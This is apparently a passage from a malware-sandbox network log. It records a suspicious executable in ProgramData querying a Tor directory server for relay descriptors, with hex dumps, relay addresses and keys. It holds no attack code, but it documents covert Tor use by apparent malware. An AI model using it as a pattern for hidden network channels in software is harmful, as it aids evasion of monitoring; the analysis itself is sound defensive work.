34 20 46 38 41 42 0a 75 70 74 69 6d 65 20 37 38 31 0a 62 61 6e 64 77 69 64 74 68 20 35 31 32 30 30 30 20 36 31 34 34 30 30 20 34 38 37 31 35 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 36 45 39 31 45 32 42 37 41 31 42 38 30 38 39 46 45 41 32 31 43 36 39 37 30 30 33 38 46 44 33 34 41 33 43 31 36 36 39 34 20 62 31 78 61 39 57 32 5a 56 46 78 6c 36 2f 65 54 73 35 2f 75 4b 58 6d 57 7a 6a 4c 41 2b 77 6e 56 42 69 64 59 31 59 38 65 4c 44 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 61 5a 6a 45 6e 47 38 78 58 4f 53 51 42 53 58 63 68 79 39 6f 48 67 4c 75 47 4e 7a 66 6b 4f 6b 48 50 35 46 70 72 4a 64 56 71 64 38 37 42 31 51 68 48 77 33 75 2f 69 0a 4f 6a 75 51 73 2f 4b 69 41 30 51 34 2f 47 2b 67 57 75 69 43 33 78 68 6d 43 2b 6a 69 69 68 50 64 54 70 56 34 64 45 58 4d 63 66 73 78 6c 32 2f 6d 72 2b 6b 67 48 32 53 56 54 37 30 69 74 79 77 32 0a 62 4f 69 4e 57 41 2b 6d 7a 71 7a 76 47 6f 37 38 49 31 45 56 44 50 69 47 7a 42 75 46 47 78 4b 55 50 6e 49 73 74 6d 79 72 62 74 36 6a 57 5a 79 4a 7a 39 4e 42 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 2f 67 7a 73 74 58 70 55 61 41 4c 68 6a 51 77 6d 77 48 71 4a Data Ascii: router transtbb 84.155.152.82 14074 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxV6AQFVLbRbCeZ604P2tD8pIBGQNrOtjXuIZMasp0fB/c6QAQAgBABo560RR9EGj3UAYvjPvduapVWIOEW1OoPjpEGKO6AZpydJVYo/2124yMtbXNCthtdwqJ6tgsvpVrtpeOVMmlO4RUXBZZvPI9hXFNRwge87hzCcAcBmQtphX60ZYTf3UQk=-----END ED25519 CERT-----master-key-ed25519 aOetEUfRBo91AGL4z73bmqVViDhFtTqD46RBijugGacplatform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 03:13:26fingerprint D3E9 F867 DDF2 8DE1 91EA 611F D360 353C 8384 F8ABuptime 781bandwidth 512000 614400 487150extra-info-digest 6E91E2B7A1B8089FEA21C6970038FD34A3C16694 b1xa9W2ZVFxl6/eTs5/uKXmWzjLA+wnVBidY1Y8eLDMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANaZjEnG8xXOSQBSXchy9oHgLuGNzfkOkHP5FprJdVqd87B1QhHw3u/iOjuQs/KiA0Q4/G+gWuiC3xhmC+jiihPdTpV4dEXMcfsxl2/mr+kgH2SVT70ityw2bOiNWA+mzqzvGo78I1EVDPiGzBuFGxKUPnIstmyrbt6jWZyJz9NBAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL/gzstXpUaALhjQwmwHqJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49728	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:02.513144970 CET	5279	OUT	GET /tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5 HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:02.560026884 CET	5281	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:02 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:02 GMT Data Raw: 72 6f 75 74 65 72 20 61 6c 70 68 61 31 33 37 20 37 30 2e 33 34 2e 31 39 34 2e 31 38 39 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 5a 56 41 56 54 66 5a 64 74 58 6d 6f 41 30 49 39 55 38 77 78 48 49 64 5a 33 69 63 68 55 7a 74 2f 70 35 4c 50 33 72 53 6a 72 55 71 2f 61 73 41 51 41 67 42 41 43 2b 6f 61 2f 75 0a 50 51 33 57 34 4f 48 6b 49 76 37 79 2f 2f 52 32 7a 6f 36 39 44 37 6b 4f 74 67 42 43 55 77 33 73 50 65 66 55 70 2b 52 31 66 65 33 78 2b 69 65 46 49 46 66 2b 67 78 4f 75 6c 74 57 63 45 55 61 41 0a 77 53 56 42 78 69 6f 55 47 77 71 33 35 32 4d 63 79 76 65 33 67 58 50 43 56 32 73 37 61 53 77 50 61 79 57 6a 68 72 47 57 52 78 78 2f 76 54 61 50 6e 46 63 62 55 56 66 4a 66 67 67 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 76 71 47 76 37 6a 30 4e 31 75 44 68 35 43 4c 2b 38 76 2f 30 64 73 36 4f 76 51 2b 35 44 72 59 41 51 6c 4d 4e 37 44 33 6e 31 4b 63 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 35 3a 66 34 38 30 3a 32 30 30 30 3a 32 66 66 64 3a 35 34 30 30 3a 34 66 66 3a 66 65 32 37 3a 62 34 34 62 5d 3a 34 34 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 33 3a 35 32 3a 31 34 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 38 45 37 20 33 30 32 33 20 41 39 37 39 20 32 43 44 42 20 38 41 44 43 20 44 34 44 31 20 42 32 41 32 20 32 30 45 46 20 46 45 38 44 20 38 46 46 35 0a 75 70 74 69 6d 65 20 36 34 38 30 35 35 0a 62 61 6e 64 77 69 64 74 68 20 32 38 36 37 32 30 30 20 36 31 34 34 30 30 30 20 33 30 35 37 34 30 38 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 35 45 36 33 34 39 43 35 46 32 34 35 35 34 45 44 39 43 42 38 34 31 42 42 39 44 39 32 31 46 32 41 33 39 30 30 36 43 32 42 20 75 50 69 59 50 77 6f 66 33 51 4c 47 2f 6c 46 4d 59 5a 79 5a 45 47 75 57 75 6f 52 57 57 34 74 43 41 66 6b 2b 49 47 38 55 41 50 51 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 58 4b 46 6c 67 30 44 33 62 6a 71 73 41 43 44 34 78 77 41 54 35 59 43 78 78 65 42 4c 54 31 4f 49 73 42 7a 66 32 79 50 42 69 44 37 33 33 64 48 41 36 71 42 75 51 70 0a 67 77 61 6e 2f 42 75 4e 61 71 30 6b 74 39 71 35 30 58 39 36 42 42 58 30 6c 37 73 6c 37 6a 61 70 78 39 2f 50 76 67 64 4d 30 2b 59 74 4f 55 74 48 61 71 4c 41 35 79 68 50 66 52 42 48 58 2b 31 4e 0a 4d 65 2b 6b 59 51 69 46 74 64 44 55 57 49 49 7a 4c 74 49 6f 74 44 34 77 67 4b 4a 4c 6d 66 36 4c 6b 53 4e 63 38 47 53 66 54 5a 4b 32 70 74 53 52 36 4f 6d 6e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d Data Ascii: router alpha137 70.34.194.189 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxZVAVTfZdtXmoA0I9U8wxHIdZ3ichUzt/p5LP3rSjrUq/asAQAgBAC+oa/uPQ3W4OHkIv7y//R2zo69D7kOtgBCUw3sPefUp+R1fe3x+ieFIFf+gxOultWcEUaAwSVBxioUGwq352Mcyve3gXPCV2s7aSwPayWjhrGWRxx/vTaPnFcbUVfJfgg=-----END ED25519 CERT-----master-key-ed25519 vqGv7j0N1uDh5CL+8v/0ds6OvQ+5DrYAQlMN7D3n1Kcor-address [2a05:f480:2000:2ffd:5400:4ff:fe27:b44b]:443platform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 03:52:14fingerprint 38E7 3023 A979 2CDB 8ADC D4D1 B2A2 20EF FE8D 8FF5uptime 648055bandwidth 2867200 6144000 3057408extra-info-digest 5E6349C5F24554ED9CB841BB9D921F2A39006C2B uPiYPwof3QLG/lFMYZyZEGuWuoRWW4tCAfk+IG8UAPQonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMXKFlg0D3bjqsACD4xwAT5YCxxeBLT1OIsBzf2yPBiD733dHA6qBuQpgwan/BuNaq0kt9q50X96BBX0l7sl7japx9/PvgdM0+YtOUtHaqLA5yhPfRBHX+1NMe+kYQiFtdDUWIIzLtIotD4wgKJLmf6LkSNc8GSfTZK2ptSR6OmnAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49729	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:22.776928902 CET	5285	OUT	GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:27.584422112 CET	5286	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:27 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:27 GMT Data Raw: 72 6f 75 74 65 72 20 74 72 61 6e 73 74 62 62 20 38 34 2e 31 35 35 2e 31 35 32 2e 38 32 20 31 34 30 37 34 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 56 36 41 51 46 56 4c 62 52 62 43 65 5a 36 30 34 50 32 74 44 38 70 49 42 47 51 4e 72 4f 74 6a 58 75 49 5a 4d 61 73 70 30 66 42 2f 63 36 51 41 51 41 67 42 41 42 6f 35 36 30 52 0a 52 39 45 47 6a 33 55 41 59 76 6a 50 76 64 75 61 70 56 57 49 4f 45 57 31 4f 6f 50 6a 70 45 47 4b 4f 36 41 5a 70 79 64 4a 56 59 6f 2f 32 31 32 34 79 4d 74 62 58 4e 43 74 68 74 64 77 71 4a 36 74 0a 67 73 76 70 56 72 74 70 65 4f 56 4d 6d 6c 4f 34 52 55 58 42 5a 5a 76 50 49 39 68 58 46 4e 52 77 67 65 38 37 68 7a 43 63 41 63 42 6d 51 74 70 68 58 36 30 5a 59 54 66 33 55 51 6b 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 61 4f 65 74 45 55 66 52 42 6f 39 31 41 47 4c 34 7a 37 33 62 6d 71 56 56 69 44 68 46 74 54 71 44 34 36 52 42 69 6a 75 67 47 61 63 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 33 3a 31 33 3a 32 36 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 44 33 45 39 20 46 38 36 37 20 44 44 46 32 20 38 44 45 31 20 39 31 45 41 20 36 31 31 46 20 44 33 36 30 20 33 35 33 43 20 38 33 38 34 20 46 38 41 42 0a 75 70 74 69 6d 65 20 37 38 31 0a 62 61 6e 64 77 69 64 74 68 20 35 31 32 30 30 30 20 36 31 34 34 30 30 20 34 38 37 31 35 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 36 45 39 31 45 32 42 37 41 31 42 38 30 38 39 46 45 41 32 31 43 36 39 37 30 30 33 38 46 44 33 34 41 33 43 31 36 36 39 34 20 62 31 78 61 39 57 32 5a 56 46 78 6c 36 2f 65 54 73 35 2f 75 4b 58 6d 57 7a 6a 4c 41 2b 77 6e 56 42 69 64 59 31 59 38 65 4c 44 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 61 5a 6a 45 6e 47 38 78 58 4f 53 51 42 53 58 63 68 79 39 6f 48 67 4c 75 47 4e 7a 66 6b 4f 6b 48 50 35 46 70 72 4a 64 56 71 64 38 37 42 31 51 68 48 77 33 75 2f 69 0a 4f 6a 75 51 73 2f 4b 69 41 30 51 34 2f 47 2b 67 57 75 69 43 33 78 68 6d 43 2b 6a 69 69 68 50 64 54 70 56 34 64 45 58 4d 63 66 73 78 6c 32 2f 6d 72 2b 6b 67 48 32 53 56 54 37 30 69 74 79 77 32 0a 62 4f 69 4e 57 41 2b 6d 7a 71 7a 76 47 6f 37 38 49 31 45 56 44 50 69 47 7a 42 75 46 47 78 4b 55 50 6e 49 73 74 6d 79 72 62 74 36 6a 57 5a 79 4a 7a 39 4e 42 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 2f 67 7a 73 74 58 70 55 61 41 4c 68 6a 51 77 6d 77 48 71 4a Data Ascii: router transtbb 84.155.152.82 14074 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxV6AQFVLbRbCeZ604P2tD8pIBGQNrOtjXuIZMasp0fB/c6QAQAgBABo560RR9EGj3UAYvjPvduapVWIOEW1OoPjpEGKO6AZpydJVYo/2124yMtbXNCthtdwqJ6tgsvpVrtpeOVMmlO4RUXBZZvPI9hXFNRwge87hzCcAcBmQtphX60ZYTf3UQk=-----END ED25519 CERT-----master-key-ed25519 aOetEUfRBo91AGL4z73bmqVViDhFtTqD46RBijugGacplatform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 03:13:26fingerprint D3E9 F867 DDF2 8DE1 91EA 611F D360 353C 8384 F8ABuptime 781bandwidth 512000 614400 487150extra-info-digest 6E91E2B7A1B8089FEA21C6970038FD34A3C16694 b1xa9W2ZVFxl6/eTs5/uKXmWzjLA+wnVBidY1Y8eLDMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANaZjEnG8xXOSQBSXchy9oHgLuGNzfkOkHP5FprJdVqd87B1QhHw3u/iOjuQs/KiA0Q4/G+gWuiC3xhmC+jiihPdTpV4dEXMcfsxl2/mr+kgH2SVT70ityw2bOiNWA+mzqzvGo78I1EVDPiGzBuFGxKUPnIstmyrbt6jWZyJz9NBAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL/gzstXpUaALhjQwmwHqJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49730	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:27.795428038 CET	5289	OUT	GET /tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:27.843314886 CET	5291	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:27 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:27 GMT Data Raw: 72 6f 75 74 65 72 20 6f 6e 69 6f 6e 44 41 4f 72 65 6c 30 61 64 65 64 31 20 35 2e 32 2e 37 39 2e 31 39 30 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 56 74 41 5a 7a 70 74 41 56 55 39 5a 46 59 38 55 37 64 6e 6a 70 51 52 55 6d 73 47 42 7a 44 56 69 46 2b 79 64 6b 42 58 74 6a 51 52 4e 2f 6b 41 51 41 67 42 41 44 55 75 45 66 41 0a 42 5a 4f 6a 31 6c 65 6c 33 7a 42 72 50 64 74 76 66 72 45 59 32 51 77 6d 56 31 63 34 48 6b 42 56 6f 68 68 54 33 74 68 56 65 31 69 68 59 59 79 64 79 61 72 44 73 31 42 79 54 52 74 63 74 75 38 73 0a 43 69 59 6b 6c 43 52 33 63 4c 48 46 37 6c 44 34 6d 31 6e 6c 4e 70 45 30 7a 6d 78 6b 76 38 48 45 4a 4e 46 6d 32 56 6f 77 74 43 59 69 32 78 67 47 50 4a 6b 70 73 39 69 58 49 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 31 4c 68 48 77 41 57 54 6f 39 5a 58 70 64 38 77 61 7a 33 62 62 33 36 78 47 4e 6b 4d 4a 6c 64 58 4f 42 35 41 56 61 49 59 55 39 34 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 30 3a 32 32 3a 34 33 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 32 41 38 20 43 43 42 31 20 46 42 37 30 20 39 38 34 32 20 32 36 32 33 20 31 32 38 33 20 35 39 36 44 20 41 37 33 34 20 41 38 30 45 20 33 46 36 46 0a 75 70 74 69 6d 65 20 32 34 30 31 32 31 34 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 33 33 30 38 36 37 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 33 39 33 31 35 37 36 38 39 34 32 36 30 32 43 37 43 34 36 33 34 46 41 30 43 39 33 44 32 43 39 35 30 41 39 45 44 38 30 38 20 6e 33 38 6a 72 6a 50 66 35 48 38 67 6c 64 4e 46 66 72 2b 41 75 34 4e 7a 33 65 33 36 32 55 74 42 63 4a 50 7a 6e 4c 43 56 76 73 49 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 68 64 30 51 51 51 36 53 61 57 52 6b 4f 6f 52 76 35 76 54 45 68 2b 4f 63 73 36 4d 75 67 4b 58 59 75 68 69 70 70 77 39 64 76 74 48 7a 46 6f 2b 43 73 6e 67 38 36 4e 0a 78 62 6c 6c 77 45 4a 65 39 2b 71 4f 55 44 2b 56 43 39 2b 67 79 7a 6c 2b 71 44 79 6e 6e 51 33 38 77 71 31 66 4e 6a 48 54 36 36 64 63 51 4e 68 57 54 76 78 38 54 30 66 42 53 44 75 6e 73 64 2f 32 0a 2b 45 35 75 41 72 64 48 33 53 6f 37 56 52 48 56 65 58 2b 57 58 71 47 56 64 69 57 64 46 76 43 4e 76 4d 42 6e 6d 5a 54 50 72 72 36 75 37 4a 39 53 37 51 35 50 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 38 48 Data Ascii: router onionDAOrel0aded1 5.2.79.190 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxVtAZzptAVU9ZFY8U7dnjpQRUmsGBzDViF+ydkBXtjQRN/kAQAgBADUuEfABZOj1lel3zBrPdtvfrEY2QwmV1c4HkBVohhT3thVe1ihYYydyarDs1ByTRtctu8sCiYklCR3cLHF7lD4m1nlNpE0zmxkv8HEJNFm2VowtCYi2xgGPJkps9iXIA4=-----END ED25519 CERT-----master-key-ed25519 1LhHwAWTo9ZXpd8waz3bb36xGNkMJldXOB5AVaIYU94platform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 00:22:43fingerprint 02A8 CCB1 FB70 9842 2623 1283 596D A734 A80E 3F6Fuptime 2401214bandwidth 1073741824 1073741824 2330867extra-info-digest 39315768942602C7C4634FA0C93D2C950A9ED808 n38jrjPf5H8gldNFfr+Au4Nz3e362UtBcJPznLCVvsIonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKhd0QQQ6SaWRkOoRv5vTEh+Ocs6MugKXYuhippw9dvtHzFo+Csng86NxbllwEJe9+qOUD+VC9+gyzl+qDynnQ38wq1fNjHT66dcQNhWTvx8T0fBSDunsd/2+E5uArdH3So7VRHVeX+WXqGVdiWdFvCNvMBnmZTPrr6u7J9S7Q5PAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL8H

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49757	23.128.64.141	443	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49731	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:28.461570978 CET	5298	OUT	GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:28.509443998 CET	5300	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:28 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:28 GMT Data Raw: 72 6f 75 74 65 72 20 74 72 61 6e 73 74 62 62 20 38 34 2e 31 35 35 2e 31 35 32 2e 38 32 20 31 34 30 37 34 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 56 36 41 51 46 56 4c 62 52 62 43 65 5a 36 30 34 50 32 74 44 38 70 49 42 47 51 4e 72 4f 74 6a 58 75 49 5a 4d 61 73 70 30 66 42 2f 63 36 51 41 51 41 67 42 41 42 6f 35 36 30 52 0a 52 39 45 47 6a 33 55 41 59 76 6a 50 76 64 75 61 70 56 57 49 4f 45 57 31 4f 6f 50 6a 70 45 47 4b 4f 36 41 5a 70 79 64 4a 56 59 6f 2f 32 31 32 34 79 4d 74 62 58 4e 43 74 68 74 64 77 71 4a 36 74 0a 67 73 76 70 56 72 74 70 65 4f 56 4d 6d 6c 4f 34 52 55 58 42 5a 5a 76 50 49 39 68 58 46 4e 52 77 67 65 38 37 68 7a 43 63 41 63 42 6d 51 74 70 68 58 36 30 5a 59 54 66 33 55 51 6b 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 61 4f 65 74 45 55 66 52 42 6f 39 31 41 47 4c 34 7a 37 33 62 6d 71 56 56 69 44 68 46 74 54 71 44 34 36 52 42 69 6a 75 67 47 61 63 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 33 3a 31 33 3a 32 36 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 44 33 45 39 20 46 38 36 37 20 44 44 46 32 20 38 44 45 31 20 39 31 45 41 20 36 31 31 46 20 44 33 36 30 20 33 35 33 43 20 38 33 38 34 20 46 38 41 